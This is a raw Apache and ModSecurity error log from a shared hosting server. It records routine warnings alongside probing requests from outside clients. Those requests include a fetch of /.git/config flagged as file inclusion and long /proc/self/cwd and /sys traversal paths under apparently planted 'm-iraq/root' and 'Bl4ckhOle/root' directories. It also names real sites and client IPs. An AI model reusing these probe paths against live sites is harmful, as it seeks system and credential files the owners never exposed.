[Fri Jul 17 09:54:07.066249 2026] [security2:error] [pid 2050582:tid 2050582] [client 134.122.124.74:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vtradelanka.com"] [uri "/.git/config"] [unique_id "almuZ3XJZgUJ1jsEHj0tRQAAABc"]
[Fri Jul 17 09:54:07.274386 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:07.575021 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:07.805200 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:61/subsystem/tty2/uevent"] [unique_id "almuZ4-0g_VSPeIeFN3LTAAAAAs"]
[Fri Jul 17 09:54:07.805228 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:61/subsystem/tty2/uevent"] [unique_id "almuZ4-0g_VSPeIeFN3LTAAAAAs"]
[Fri Jul 17 09:54:08.714384 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:09.491898 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:10.534053 2026] [core:error] [pid 2060590:tid 2060590] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/hwcache_align
[Fri Jul 17 09:54:11.259742 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:12.015882 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:12.426264 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:13.278109 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:41666] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:21.830794 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:21.997498 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:22.090869 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:22.261061 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:22.350295 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:22.577161 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:22.806154 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:23.133622 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:23.829890 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:38080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:25.510659 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:38116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:25.690356 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:28.149546 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:31.871282 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:48440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:34.403762 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:48520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:36.483985 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:48648] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:39.444545 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:48898] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:41.495054 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:41.507456 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:41.769875 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:41.770341 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:41.921173 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:42.056358 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:42.167299 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:42.261696 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:42.271391 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:42.652481 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:42.751798 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:43.092847 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:43.307654 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:44.008381 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:56414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:44.375515 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:56474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:45.038708 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.112964 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.198297 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.379070 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.386116 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.407148 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.706509 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.717362 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.79.51.179:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:14/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 09:54:45.738971 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.973864 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:45.981370 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:46.477035 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56566] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:47.634246 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:47.694296 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:47.767032 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:47.781714 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:47.995140 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.109525 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.113342 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.252633 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.267180 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.321517 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.588896 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.639764 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.864945 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:48.957266 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:50.821106 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/uid_cache/aliases
[Fri Jul 17 09:54:50.821487 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:51.112664 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:51.531705 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuk4l9vhFBGA6D8l-FTAAAAAw"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:54:51.531735 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuk4l9vhFBGA6D8l-FTAAAAAw"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:54:51.728423 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:46404] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:54:51.728570 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory13/node0/memory99/node0/memory74/node0/memory139/removable"] [unique_id "almuk2uF39UwWB2KWdbUaQAAAA8"]
[Fri Jul 17 09:54:51.728587 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory13/node0/memory99/node0/memory74/node0/memory139/removable"] [unique_id "almuk2uF39UwWB2KWdbUaQAAAA8"]
[Fri Jul 17 09:54:52.285281 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:54:56.399711 2026] [security2:error] [pid 2034024:tid 2034024] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/wp-cron.php"] [unique_id "almul4-0g_VSPeIeFN3LbQAAAAs"]
[Fri Jul 17 09:54:56.399755 2026] [security2:error] [pid 2034024:tid 2034024] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/wp-cron.php"] [unique_id "almul4-0g_VSPeIeFN3LbQAAAAs"]
[Fri Jul 17 09:55:00.926283 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almunK14q1EBnanVMYGvAAAAAAk"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:55:00.926313 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almunK14q1EBnanVMYGvAAAAAAk"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:55:00.936127 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/sunrpc/uevent
[Fri Jul 17 09:55:01.047786 2026] [security2:error] [pid 2050582:tid 2050582] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:44/subsystem/tty2/uevent"] [unique_id "almunXXJZgUJ1jsEHj0tZAAAABc"]
[Fri Jul 17 09:55:01.047830 2026] [security2:error] [pid 2050582:tid 2050582] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:44/subsystem/tty2/uevent"] [unique_id "almunXXJZgUJ1jsEHj0tZAAAABc"]
[Fri Jul 17 09:55:01.067390 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:01.452545 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:01.468003 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:01.656919 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:02.621832 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuno-0g_VSPeIeFN3LcQAAAAs"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:55:02.622000 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuno-0g_VSPeIeFN3LcQAAAAs"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:55:02.655638 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:04.567909 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:50744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:06.514681 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuoPwooI4qY7Jg93pgrgAAABM"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:55:06.514720 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuoPwooI4qY7Jg93pgrgAAABM"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:55:07.007014 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:50826] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:08.378449 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:12.666674 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 57.141.18.120:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory49/node0/memory11/subsystem/devices/memory116/subsystem/uevent
[Fri Jul 17 09:55:14.475090 2026] [ssl:error] [pid 2060576:tid 2060576] (70014)End of file found: [client 66.85.158.91:44264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:14.738560 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:44306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:15.826266 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuq4e39YUk0SgV8AVFlAAAABE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:55:15.826302 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuq4e39YUk0SgV8AVFlAAAABE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:55:17.883654 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almurfwooI4qY7Jg93pguQAAABM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:55:17.883713 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almurfwooI4qY7Jg93pguQAAABM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:55:25.746595 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:33618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:27.365513 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:33684] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:28.500540 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:33732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:28.762826 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:29.900380 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:30.047293 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:30.566827 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:30.670702 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:31.719883 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:59178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:32.033242 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:59192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:33.420421 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:59248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:33.756309 2026] [security2:error] [pid 2019501:tid 2019501] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almuvbEWOaI5pmYo9fnaOgAAAAA"]
